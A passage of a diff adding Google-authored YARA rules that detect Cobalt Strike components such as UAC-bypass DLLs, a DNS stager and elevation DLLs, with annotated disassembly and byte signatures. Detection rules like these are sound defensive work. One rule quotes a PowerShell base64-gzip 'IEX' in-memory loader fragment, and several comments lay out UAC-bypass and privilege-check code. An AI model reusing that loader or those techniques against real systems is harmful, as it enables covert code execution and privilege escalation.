+
+	/*
+		A1 [4]    mov     eax, fileop
+		6A 00     push    0
+		FF ?? 08  push    [ebp+copyName]
+		8B ??     mov     ecx, [eax]
+		FF [5]    push    dstFile
+		FF [5]    push    srcFile
+		5?        push    eax
+		FF ?? 40  call    dword ptr [ecx+40h]
+		85 ??     test    eax, eax
+		75 ??     jnz     short loc_10001026  // this line can also be 0F 85 <32-bit offset>
+		A1 [4]    mov     eax, fileop
+		5?        push    eax
+		8B ??     mov     ecx, [eax]
+		FF ?? 54  call    dword ptr [ecx+54h]
+	*/
+
+	$copyFileCOM = {
+			A1 [4]
+			6A 00
+			FF [2]
+			8B ?? 
+			FF [5]
+			FF [5]
+			5? 
+			FF ?? 40 
+			85 ?? 
+			[2 - 6]
+			A1 [4]
+			5? 
+			8B ?? 
+			FF ?? 54 
+		}
+		
+				
+	condition:
+		all of them
+}
+/*
+ * Copyright 2022 Google LLC
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     https://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+rule CobaltStrike_Resources_Bypassuac_x64_Dll_v3_3_to_v3_14_and_Sleeve_Bypassuac_x64_Dll_v4_0_and_v4_x
+{
+	meta:
+		description = "Cobalt Strike's resources/bypassuac-x64.dll from v3.3 to v3.14 (64-bit version) and sleeve/bypassuac.x64.dll from v4.0 to at least v4.4"
+		hash =  "9ecf56e9099811c461d592c325c65c4f9f27d947cbdf3b8ef8a98a43e583aecb"
+		author = "gssincla@google.com"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		date = "2022-11-18"
+		
+		id = "eef83901-63d9-55a3-b115-03f420416177"
+	strings:
+	/*
+		48 8B 0D 07 A4 01 00 mov     rcx, cs:fileop
+		45 33 C0             xor     r8d, r8d
+		48 8B 01             mov     rax, [rcx]
+		FF 90 90 00 00 00    call    qword ptr [rax+90h]
+		85 C0                test    eax, eax
+		75 D9                jnz     short loc_180001022
+		48 8B 0D F0 A3 01 00 mov     rcx, cs:fileop
+		48 8B 11             mov     rdx, [rcx]
+		FF 92 A8 00 00 00    call    qword ptr [rdx+0A8h]
+		85 C0                test    eax, eax
+	*/
+
+	$deleteFileCOM = {
+			48 8B [5]
+			45 33 ??
+			48 8B ??
+			FF 90 90 00 00 00
+			85 C0
+			75 ??
+			48 8B [5]
+			48 8B ??
+			FF 92 A8 00 00 00
+			85 C0
+		}	
+	
+	
+	/*
+		48 8B 0D 32 A3 01 00 mov     rcx, cs:fileop
+		4C 8B 05 3B A3 01 00 mov     r8, cs:dstFile
+		48 8B 15 2C A3 01 00 mov     rdx, cs:srcFile
+		48 8B 01             mov     rax, [rcx]
+		4C 8B CD             mov     r9, rbp
+		48 89 5C 24 20       mov     [rsp+38h+var_18], rbx
+		FF 90 80 00 00 00    call    qword ptr [rax+80h]
+		85 C0                test    eax, eax
+		0F 85 7B FF FF FF    jnz     loc_1800010B0
+		48 8B 0D 04 A3 01 00 mov     rcx, cs:fileop
+		48 8B 11             mov     rdx, [rcx]
+		FF 92 A8 00 00 00    call    qword ptr [rdx+0A8h]
+	*/
+
+	$copyFileCOM = {
+			48 8B [5]
+			4C 8B [5]
+			48 8B [5]
+			48 8B ??
+			4C 8B ??
+			48 89 [3]
+			FF 90 80 00 00 00
+			85 C0
+			0F 85 [4]
+			48 8B [5]
+			48 8B 11
+			FF 92 A8 00 00 00
+		}
+
+	condition:
+		all of them
+}
+/*
+ * Copyright 2022 Google LLC
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     https://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+rule CobaltStrike_Resources_Bypassuactoken_Dll_v3_11_to_v3_14
+{
+	meta:
+		description = "Cobalt Strike's resources/bypassuactoken.dll from v3.11 to v3.14 (32-bit version)"
+		hash =  "df1c7256dfd78506e38c64c54c0645b6a56fc56b2ffad8c553b0f770c5683070"
+		author = "gssincla@google.com"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		date = "2022-11-18"
+		
+		id = "b9f25fa5-bd1d-5ba0-9b1d-bb97e1dbf76b"
+	strings:
+	/*
+		5?                 push    eax; ReturnLength
+		5?                 push    edi; TokenInformationLength
+		5?                 push    edi; TokenInformation
+		8B ??              mov     ebx, ecx
+		6A 19              push    19h; TokenInformationClass
+		5?                 push    ebx; TokenHandle
+		FF 15 [4]          call    ds:GetTokenInformation
+		85 C0              test    eax, eax
+		75 ??              jnz     short loc_10001100
+		FF 15 [4]          call    ds:GetLastError
+		83 ?? 7A           cmp     eax, 7Ah ; 'z'
+		75 ??              jnz     short loc_10001100
+		FF [2]             push    [ebp+ReturnLength]; uBytes
+		5?                 push    edi; uFlags
+		FF 15 [4]          call    ds:LocalAlloc
+		8B ??              mov     esi, eax
+		8D [2]             lea     eax, [ebp+ReturnLength]
+		5?                 push    eax; ReturnLength
+		FF [2]             push    [ebp+ReturnLength]; TokenInformationLength
+		5?                 push    esi; TokenInformation
+		6A 19              push    19h; TokenInformationClass
+		5?                 push    ebx; TokenHandle
+		FF 15 [4]          call    ds:GetTokenInformation
+		85 C0              test    eax, eax
+		74 ??              jz      short loc_10001103
+		FF ??              push    dword ptr [esi]; pSid
+		FF 15 [4]          call    ds:GetSidSubAuthorityCount
+		8A ??              mov     al, [eax]
+		FE C8              dec     al
+		0F B6 C0           movzx   eax, al
+		5?                 push    eax; nSubAuthority
+		FF ??              push    dword ptr [esi]; pSid
+		FF 15 [4]          call    ds:GetSidSubAuthority
+		B? 01 00 00 00     mov     ecx, 1
+		5?                 push    esi; hMem
+		81 ?? 00 30 00 00  cmp     dword ptr [eax], 3000h
+	*/
+
+	$isHighIntegrityProcess = {
+			5? 
+			5? 
+			5? 
+			8B ?? 
+			6A 19
+			5? 
+			FF 15 [4]
+			85 C0
+			75 ?? 
+			FF 15 [4]
+			83 ?? 7A 
+			75 ?? 
+			FF [2]
+			5? 
+			FF 15 [4]
+			8B ?? 
+			8D [2]
+			5? 
+			FF [2]
+			5? 
+			6A 19
+			5? 
+			FF 15 [4]
+			85 C0
+			74 ?? 
+			FF ?? 
+			FF 15 [4]
+			8A ?? 
+			FE C8
+			0F B6 C0
+			5? 
+			FF ?? 
+			FF 15 [4]
+			B? 01 00 00 00 
+			5? 
+			81 ?? 00 30 00 00 
+		}
+
+	/*
+		6A 3C               push    3Ch ; '<'; Size
+		8D ?? C4            lea     eax, [ebp+pExecInfo]
+		8B ??               mov     edi, edx
+		6A 00               push    0; Val
+		5?                  push    eax; void *
+		8B ??               mov     esi, ecx
+		E8 [4]              call    _memset
+		83 C4 0C            add     esp, 0Ch
+		C7 [2] 3C 00 00 00  mov     [ebp+pExecInfo.cbSize], 3Ch ; '<'
+		8D [2]              lea     eax, [ebp+pExecInfo]
+		C7 [2] 40 00 00 00  mov     [ebp+pExecInfo.fMask], 40h ; '@'
+		C7 [6]              mov     [ebp+pExecInfo.lpFile], offset aTaskmgrExe; "taskmgr.exe"
+		C7 [2] 00 00 00 00  mov     [ebp+pExecInfo.lpParameters], 0
+		5?                  push    eax; pExecInfo
+		C7 [2] 00 00 00 00  mov     [ebp+pExecInfo.lpDirectory], 0
+		C7 [6]              mov     [ebp+pExecInfo.lpVerb], offset aRunas; "runas"
+		C7 [2] 00 00 00 00  mov     [ebp+pExecInfo.nShow], 0
+		FF 15 [4]           call    ds:ShellExecuteExW
+		FF 75 FC            push    [ebp+pExecInfo.hProcess]; Process
+	*/
+
+	$executeTaskmgr = {
+			6A 3C
+			8D ?? C4 
+			8B ?? 
+			6A 00
+			5? 
+			8B ?? 
+			E8 [4]
+			83 C4 0C
+			C7 [2] 3C 00 00 00 
+			8D [2]
+			C7 [2] 40 00 00 00 
+			C7 [6]
+			C7 [2] 00 00 00 00 
+			5? 
+			C7 [2] 00 00 00 00 
+			C7 [6]
+			C7 [2] 00 00 00 00 
+			FF 15 [4]
+			FF 75 FC
+		}
+		
+	condition:
+		all of them
+}/*
+ * Copyright 2022 Google LLC
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     https://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+rule CobaltStrike_Resources_Bypassuactoken_x64_Dll_v3_11_to_v3_14
+{
+	meta:
+		description = "Cobalt Strike's resources/bypassuactoken.x64.dll from v3.11 to v3.14 (64-bit version)"
+		hash =  "853068822bbc6b1305b2a9780cf1034f5d9d7127001351a6917f9dbb42f30d67"
+		author = "gssincla@google.com"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		date = "2022-11-18"
+		
+		id = "c89befcd-a622-5947-9ce3-a6031901a45a"
+	strings:
+	/*
+		83 F8 7A          cmp     eax, 7Ah ; 'z'
+		75 59             jnz     short loc_1800014BC
+		8B 54 24 48       mov     edx, dword ptr [rsp+38h+uBytes]; uBytes
+		33 C9             xor     ecx, ecx; uFlags
+		FF 15 49 9C 00 00 call    cs:LocalAlloc
+		44 8B 4C 24 48    mov     r9d, dword ptr [rsp+38h+uBytes]; TokenInformationLength
+		8D 53 19          lea     edx, [rbx+19h]; TokenInformationClass
+		48 8B F8          mov     rdi, rax
+		48 8D 44 24 48    lea     rax, [rsp+38h+uBytes]
+		48 8B CE          mov     rcx, rsi; TokenHandle
+		4C 8B C7          mov     r8, rdi; TokenInformation
+		48 89 44 24 20    mov     [rsp+38h+ReturnLength], rax; ReturnLength
+		FF 15 B0 9B 00 00 call    cs:GetTokenInformation
+		85 C0             test    eax, eax
+		74 2D             jz      short loc_1800014C1
+		48 8B 0F          mov     rcx, [rdi]; pSid
+		FF 15 AB 9B 00 00 call    cs:GetSidSubAuthorityCount
+		8D 73 01          lea     esi, [rbx+1]
+		8A 08             mov     cl, [rax]
+		40 2A CE          sub     cl, sil
+		0F B6 D1          movzx   edx, cl; nSubAuthority
+		48 8B 0F          mov     rcx, [rdi]; pSid
+		FF 15 9F 9B 00 00 call    cs:GetSidSubAuthority
+		81 38 00 30 00 00 cmp     dword ptr [rax], 3000h
+	*/
+
+	$isHighIntegrityProcess = {
+			83 ?? 7A
+			75 ??
+			8B [3]
+			33 ??
+			FF 15 [4]
+			44 [4]
+			8D [2]
+			48 8B ??
+			48 8D [3]
+			48 8B ??
+			4C 8B ??
+			48 89 [3]
+			FF 15 [4]
+			85 C0
+			74 ??
+			48 8B ??
+			FF 15 [4]
+			8D [2]
+			8A ??
+			40 [2]
+			0F B6 D1
+			48 8B 0F
+			FF 15 [4]
+			81 ?? 00 30 00 00
+		}
+
+	/*
+		44 8D 42 70             lea     r8d, [rdx+70h]; Size
+		48 8D 4C 24 20          lea     rcx, [rsp+98h+pExecInfo]; void *
+		E8 2E 07 00 00          call    memset
+		83 64 24 50 00          and     [rsp+98h+pExecInfo.nShow], 0
+		48 8D 05 E2 9B 00 00    lea     rax, aTaskmgrExe; "taskmgr.exe"
+		0F 57 C0                xorps   xmm0, xmm0
+		66 0F 7F 44 24 40       movdqa  xmmword ptr [rsp+98h+pExecInfo.lpParameters], xmm0
+		48 89 44 24 38          mov     [rsp+98h+pExecInfo.lpFile], rax
+		48 8D 05 E5 9B 00 00    lea     rax, aRunas; "runas"
+		48 8D 4C 24 20          lea     rcx, [rsp+98h+pExecInfo]; pExecInfo
+		C7 44 24 20 70 00 00 00 mov     [rsp+98h+pExecInfo.cbSize], 70h ; 'p'
+		C7 44 24 24 40 00 00 00 mov     [rsp+98h+pExecInfo.fMask], 40h ; '@'
+		48 89 44 24 30          mov     [rsp+98h+pExecInfo.lpVerb], rax
+		FF 15 05 9B 00 00       call    cs:ShellExecuteExW
+	*/
+
+	$executeTaskmgr = {
+			44 8D ?? 70
+			48 8D [3]
+			E8 [4]
+			83 [3] 00
+			48 8D [5]
+			0F 57 ??
+			66 0F 7F [3]
+			48 89 [3]
+			48 8D [5]
+			48 8D [3]
+			C7 [3] 70 00 00 00
+			C7 [3] 40 00 00 00
+			48 89 [3]
+			FF 15 
+		}
+
+
+	condition:
+		all of them
+}
+/*
+ * Copyright 2022 Google LLC
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     https://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+rule CobaltStrike_Resources_Command_Ps1_v2_5_to_v3_7_and_Resources_Compress_Ps1_v3_8_to_v4_x
+{
+	meta:
+		description = "Cobalt Strike's resources/command.ps1 for versions 2.5 to v3.7 and resources/compress.ps1 from v3.8 to v4.x"
+		hash =  "932dec24b3863584b43caf9bb5d0cfbd7ed1969767d3061a7abdc05d3239ed62"
+		author = "gssincla@google.com"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		date = "2022-11-18"
+
+		id = "c0b81deb-ed20-5f7e-8e15-e6a9e9362594"
+  strings:		
+    // the command.ps1 and compress.ps1 are the same file. Between v3.7 and v3.8 the file was renamed from command to compress.
+    $ps1 = "$s=New-Object \x49O.MemoryStream(,[Convert]::\x46romBase64String(" nocase
+    $ps2 ="));IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();" nocase
+  
+  condition:
+    all of them
+}/*
+ * Copyright 2022 Google LLC
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     https://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+rule CobaltStrike_Resources_Covertvpn_Dll_v2_1_to_v4_x
+{
+	meta:
+		description = "Cobalt Strike's resources/covertvpn.dll signature for version v2.2 to v4.4"
+		hash =  "0a452a94d53e54b1df6ba02bc2f02e06d57153aad111171a94ec65c910d22dcf"
+		author = "gssincla@google.com"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		date = "2022-11-18"
+		
+		id = "a65b855c-5703-5b9f-bb57-da8ebf898f9b"
+	strings:
+	/*
+		5?                  push    esi
+		68 [4]              push    offset ProcName; "IsWow64Process"
+		68 [4]              push    offset ModuleName; "kernel32"
+		C7 [3-5] 00 00 00 00  mov     [ebp+var_9C], 0                 // the displacement bytes are only 3 in v2.x, 5 in v3.x->v4.x
+		FF 15 [4]           call    ds:GetModuleHandleA
+		50                  push    eax; hModule
+		FF 15 [4]           call    ds:GetProcAddress
+		8B ??               mov     esi, eax
+		85 ??               test    esi, esi
+		74 ??               jz      short loc_1000298B
+		8D [3-5]            lea     eax, [ebp+var_9C]                 // the displacement bytes are only 3 in v2.x, 5 in v3.x->v4.x
+		5?                  push    eax
+		FF 15 [4]           call    ds:GetCurrentProcess
+		50                  push    eax
+	*/
+
+	$dropComponentsAndActivateDriver_prologue = {
+			5? 
+			68 [4]
+			68 [4]
+			C7 [3-5] 00 00 00 00 
+			FF 15 [4]
+			50
+			FF 15 [4]
+			8B ?? 
+			85 ?? 
+			74 ??
+			8D [3-5]
+			5? 
+			FF 15 [4]
+			50
+		}
+
+	/*
+		6A 00          push    0; AccessMode
+		5?             push    esi; FileName
+		E8 [4]         call    __access
+		83 C4 08       add     esp, 8
+		83 F8 FF       cmp     eax, 0FFFFFFFFh
+		74 ??          jz      short loc_100028A7
+		5?             push    esi
+		68 [4]         push    offset aWarningSExists; "Warning: %s exists\n"   // this may not exist in v2.x samples
+		E8 [4]         call    nullsub_1
+		83 C4 08       add     esp, 8             // if the push doesnt exist, then this is 04, not 08
+		// v2.x has a PUSH ESI here... so we need to skip that
+		6A 00          push    0; hTemplateFile
+		68 80 01 00 00 push    180h; dwFlagsAndAttributes
+		6A 02          push    2; dwCreationDisposition
+		6A 00          push    0; lpSecurityAttributes
+		6A 05          push    5; dwShareMode
+		68 00 00 00 40 push    40000000h; dwDesiredAccess
+		5?             push    esi; lpFileName
+		FF 15 [4]      call    ds:CreateFileA
+		8B ??          mov     edi, eax
+		83 ?? FF       cmp     edi, 0FFFFFFFFh
+		75 ??          jnz     short loc_100028E2
+		FF 15 [4]      call    ds:GetLastError
+		5?             push    eax
+	*/
+
+	$dropFile = {
+			6A 00
+			5? 
+			E8 [4]
+			83 C4 08
+			83 F8 FF
+			74 ?? 
+			5? 
+			[0-5]
+			E8 [4]
+			83 C4 ??
+			[0-2]
+			6A 00
+			68 80 01 00 00
+			6A 02
+			6A 00
+			6A 05
+			68 00 00 00 40
+			5? 
+			FF 15 [4]
+			8B ?? 
+			83 ?? FF 
+			75 ?? 
+			FF 15 [4]
+			5? 
+		}
+	
+	$nfp = "npf.sys" nocase
+	$wpcap = "wpcap.dll" nocase
+
+	condition:
+		all of them
+}/*
+ * Copyright 2022 Google LLC
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     https://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+rule CobaltStrike_Resources_Covertvpn_injector_Exe_v1_44_to_v2_0_49
+{
+	meta:
+		description = "Cobalt Strike's resources/covertvpn-injector.exe signature for version v1.44 to v2.0.49"
+		hash =  "d741751520f46602f5a57d1ed49feaa5789115aeeba7fa4fc7cbb534ee335462"
+		author = "gssincla@google.com"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		date = "2022-11-18"
+		
+		id = "48485ae2-1d99-5fa8-b8e8-0047e92ef447"
+	strings:
+	/*
+		C7 04 24 [4]    mov     dword ptr [esp], offset aKernel32; "kernel32"
+		E8 [4]          call    GetModuleHandleA
+		83 EC 04        sub     esp, 4
+		C7 44 24 04 [4] mov     dword ptr [esp+4], offset aIswow64process; "IsWow64Process"
+		89 04 24        mov     [esp], eax; hModule
+		E8 59 14 00 00  call    GetProcAddress
+		83 EC 08        sub     esp, 8
+		89 45 ??        mov     [ebp+var_C], eax
+		83 7D ?? 00     cmp     [ebp+var_C], 0
+		74 ??           jz      short loc_4019BA
+		E8 [4]          call    GetCurrentProcess
+		8D [2]          lea     edx, [ebp+fIs64bit]
+		89 [3]          mov     [esp+4], edx
+		89 04 24        mov     [esp], eax
+	*/
+
+	$dropComponentsAndActivateDriver_prologue = {
+			C7 04 24 [4]
+			E8 [4]
+			83 EC 04
+			C7 44 24 04 [4]
+			89 04 24
+			E8 59 14 00 00
+			83 EC 08
+			89 45 ?? 
+			83 7D ?? 00 
+			74 ?? 
+			E8 [4]
+			8D [2]
+			89 [3]
+			89 04 24
+		}
+
+	/*
+		C7 44 24 04 00 00 00 00 mov     dword ptr [esp+4], 0; AccessMode
+		8B [2]                  mov     eax, [ebp+FileName]
+		89 ?? 24                mov     [esp], eax; FileName
+		E8 [4]                  call    _access
+		83 F8 FF                cmp     eax, 0FFFFFFFFh
+		74 ??                   jz      short loc_40176D
+		8B [2]                  mov     eax, [ebp+FileName]
+		89 ?? 24 04             mov     [esp+4], eax
+		C7 04 24 [4]            mov     dword ptr [esp], offset aWarningSExists; "Warning: %s exists\n"
+		E8 [4]                  call    log
+		E9 [4]                  jmp     locret_401871
+		C7 44 24 18 00 00 00 00 mov     dword ptr [esp+18h], 0; hTemplateFile
+		C7 44 24 14 80 01 00 00 mov     dword ptr [esp+14h], 180h; dwFlagsAndAttributes
+		C7 44 24 10 02 00 00 00 mov     dword ptr [esp+10h], 2; dwCreationDisposition
+		C7 44 24 0C 00 00 00 00 mov     dword ptr [esp+0Ch], 0; lpSecurityAttributes
+		C7 44 24 08 05 00 00 00 mov     dword ptr [esp+8], 5; dwShareMode
+		C7 44 24 04 00 00 00 40 mov     dword ptr [esp+4], 40000000h; dwDesiredAccess
+		8B [2]                  mov     eax, [ebp+FileName]
+		89 04 24                mov     [esp], eax; lpFileName
+		E8 [4]                  call    CreateFileA
+		83 EC 1C                sub     esp, 1Ch
+		89 45 ??                mov     [ebp+hFile], eax
+	*/
+
+	$dropFile = {
+			C7 44 24 04 00 00 00 00
+			8B [2]
+			89 ?? 24 
+			E8 [4]
+			83 F8 FF
+			74 ?? 
+			8B [2]
+			89 ?? 24 04 
+			C7 04 24 [4]
+			E8 [4]
+			E9 [4]
+			C7 44 24 18 00 00 00 00
+			C7 44 24 14 80 01 00 00
+			C7 44 24 10 02 00 00 00
+			C7 44 24 0C 00 00 00 00
+			C7 44 24 08 05 00 00 00
+			C7 44 24 04 00 00 00 40
+			8B [2]
+			89 04 24
+			E8 [4]
+			83 EC 1C
+			89 45 ?? 
+		}
+
+	$nfp = "npf.sys" nocase
+	$wpcap = "wpcap.dll" nocase
+			
+	condition:
+		all of them
+}
+/*
+ * Copyright 2022 Google LLC
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     https://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+rule CobaltStrike_Resources_Dnsstager_Bin_v1_47_through_v4_x
+{
+	meta:
+		description = "Cobalt Strike's resources/dnsstager.bin signature for versions 1.47 to 4.x"
+		hash =  "10f946b88486b690305b87c14c244d7bc741015c3fef1c4625fa7f64917897f1"
+		author = "gssincla@google.com"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		date = "2022-11-18"
+		
+		id = "e1b0e368-9bcf-5d9b-b2b3-8414742f213e"
+	strings:
+	/*
+		31 ??     xor     eax, eax
+		AC        lodsb
+		C1 ?? 0D  ror     edi, 0Dh
+		01 ??     add     edi, eax
+		38 ??     cmp     al, ah
+		75 ??     jnz     short loc_10000054
+		03 [2]    add     edi, [ebp-8]
+		3B [2]    cmp     edi, [ebp+24h]
+		75 ??     jnz     short loc_1000004A
+		5?        pop     eax
+		8B ?? 24  mov     ebx, [eax+24h]
+		01 ??     add     ebx, edx
+		66 8B [2] mov     cx, [ebx+ecx*2]
+		8B ?? 1C  mov     ebx, [eax+1Ch]
+		01 ??     add     ebx, edx
+		8B ?? 8B  mov     eax, [ebx+ecx*4]
+		01 ??     add     eax, edx
+		89 [3]    mov     [esp+28h+var_4], eax
+		5?        pop     ebx
+		5?        pop     ebx
+	*/
+
+	$apiLocator = {
+			31 ?? 
+			AC
+			C1 ?? 0D 
+			01 ?? 
+			38 ?? 
+			75 ?? 
+			03 [2]
+			3B [2]
+			75 ?? 
+			5? 
+			8B ?? 24 
+			01 ?? 
+			66 8B [2]
+			8B ?? 1C 
+			01 ?? 
+			8B ?? 8B 
+			01 ?? 
+			89 [3]
+			5? 
+			5? 
+		}
+
+    // the signature for the stagers overlap significantly. Looking for dnsstager.bin specific bytes helps delineate sample types
+	  $dnsapi = { 68 64 6E 73 61 }	
+	
+	condition:
+		$apiLocator and $dnsapi
+}
+/*
+ * Copyright 2022 Google LLC
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     https://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+rule CobaltStrike_Resources_Elevate_Dll_v3_0_to_v3_14_and_Sleeve_Elevate_Dll_v4_x
+{
+	meta:
+		description = "Cobalt Strike's resources/elevate.dll signature for v3.0 to v3.14 and sleeve/elevate.dll for v4.x"
+		hash =  "6deeb2cafe9eeefe5fc5077e63cc08310f895e9d5d492c88c4e567323077aa2f"
+		author = "gssincla@google.com"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		date = "2022-11-18"
+		
+		id = "170f62a2-ba4f-5be8-9ec5-402eb7bbde4e"
+	strings:
+	/*
+		6A 00               push    0; lParam
+		6A 28               push    28h ; '('; wParam
+		68 00 01 00 00      push    100h; Msg
+		5?                  push    edi; hWnd
+		C7 [5] 01 00 00 00  mov     dword_10017E70, 1
+		FF ??               call    esi ; PostMessageA
+		6A 00               push    0; lParam
+		6A 27               push    27h ; '''; wParam
+		68 00 01 00 00      push    100h; Msg
+		5?                  push    edi; hWnd
+		FF ??               call    esi ; PostMessageA
+		6A 00               push    0; lParam
+		6A 00               push    0; wParam
+		68 01 02 00 00      push    201h; Msg
+		5?                  push    edi; hWnd
+		FF ??               call    esi ; PostMessageA
+	*/
+
+	$wnd_proc = {
+			6A 00
+			6A 28
+			68 00 01 00 00
+			5? 
+			C7 [5] 01 00 00 00 
+			FF ?? 
+			6A 00
+			6A 27
+			68 00 01 00 00
+			5? 
+			FF ?? 
+			6A 00
+			6A 00
+			68 01 02 00 00
+			5? 
+			FF ?? 
+		}
+
+		
+	condition:
+		$wnd_proc
+}
+/*
+ * Copyright 2022 Google LLC
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     https://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+rule CobaltStrike_Resources_Elevate_X64_Dll_v3_0_to_v3_14_and_Sleeve_Elevate_X64_Dll_v4_x
+{
+	meta:
+		description = "Cobalt Strike's resources/elevate.x64.dll signature for v3.0 to v3.14 and sleeve/elevate.x64.dll for v4.x"
+		hash =  "c3ee8a9181fed39cec3bd645b32b611ce98d2e84c5a9eff31a8acfd9c26410ec"
+		author = "gssincla@google.com"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		date = "2022-11-18"
+		
+		id = "91d5c343-1084-5cfc-9dfa-46f530eb9625"
+	strings:
+	/*
+		81 FA 21 01 00 00             cmp     edx, 121h
+		75 4A                         jnz     short loc_1800017A9
+		83 3D 5A 7E 01 00 00          cmp     cs:dword_1800195C0, 0
+		75 41                         jnz     short loc_1800017A9
+		45 33 C9                      xor     r9d, r9d; lParam
+		8D 57 DF                      lea     edx, [rdi-21h]; Msg
+		C7 05 48 7E 01 00 01 00 00 00 mov     cs:dword_1800195C0, 1
+		45 8D 41 28                   lea     r8d, [r9+28h]; wParam
+		FF 15 36 DB 00 00             call    cs:PostMessageA
+		45 33 C9                      xor     r9d, r9d; lParam
+		8D 57 DF                      lea     edx, [rdi-21h]; Msg
+		45 8D 41 27                   lea     r8d, [r9+27h]; wParam
+		48 8B CB                      mov     rcx, rbx; hWnd
+		FF 15 23 DB 00 00             call    cs:PostMessageA
+		45 33 C9                      xor     r9d, r9d; lParam
+		45 33 C0                      xor     r8d, r8d; wParam
+		BA 01 02 00 00                mov     edx, 201h; Msg
+		48 8B CB                      mov     rcx, rbx; hWnd
+	*/
+
+	$wnd_proc = {
+			81 ?? 21 01 00 00
+			75 ??
+			83 [5] 00
+			75 ??
+			45 33 ??
+			8D [2]
+			C7 [5] 01 00 00 00
+			45 [2] 28
+			FF 15 [4]
+			45 33 ??
+			8D [2]
+			45 [2] 27
+			48 [2]
+			FF 15 [4]
+			45 33 ??
+			45 33 ??
+			BA 01 02 00 00
+			48 
+		}
+
+	condition:
+		$wnd_proc
+}
+/*
+ * Copyright 2022 Google LLC
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     https://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
